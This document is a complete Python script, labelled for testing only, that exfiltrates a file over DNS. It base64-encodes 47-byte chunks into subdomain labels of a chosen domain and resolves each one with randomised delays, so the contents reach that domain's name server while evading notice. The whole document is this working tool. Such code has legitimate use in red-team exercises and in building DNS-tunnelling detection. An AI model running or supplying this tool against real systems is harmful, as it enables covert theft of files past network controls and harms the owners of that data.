Tool to send data over DNS requests -- FOR TESTING PURPOSES ONLY

dns-send.py

#!/usr/bin/env python3
import argparse
import base64
import logging
import random
import socket
import sys
import time

logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
)
log = logging.getLogger(__name__)

SEGMENT_SIZE = 47
INTERVAL = 0.75
JITTER = 0.5


def segment(path: str) -> list[bytes]:
    with open(path, "rb") as f:
        data = f.read()
    return [data[i : i + SEGMENT_SIZE] for i in range(0, len(data), SEGMENT_SIZE)]


def encode(part: bytes) -> str:
    return base64.b64encode(part).decode("ascii").rstrip("=")


def lookup(name: str) -> str | None:
    try:
        result = socket.getaddrinfo(name, None)
        return result[0][4][0]
    except socket.gaierror as exc:
        return f"NXDOMAIN ({exc})"


def run(src: str, host: str) -> None:
    parts = segment(src)
    log.info("Source: %s (%d bytes, %d parts)", src, sum(len(p) for p in parts), len(parts))

    for i, part in enumerate(parts):
        label = encode(part)
        fqdn = label + "." + host

        log.info("Part %d/%d  name=%s", i + 1, len(parts), fqdn)
        resp = lookup(fqdn)
        log.info("Part %d/%d  result=%s", i + 1, len(parts), resp)

        if i < len(parts) - 1:
            time.sleep(INTERVAL + random.uniform(0, JITTER))


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("file", help="Source path")
    parser.add_argument("host", help="Target domain")
    args = parser.parse_args()

    try:
        run(args.file, args.host)
    except FileNotFoundError:
        log.error("Not found: %s", args.file)
        sys.exit(1)
    except KeyboardInterrupt:
        log.info("Stopped")
        sys.exit(130)


if __name__ == "__main__":
    main()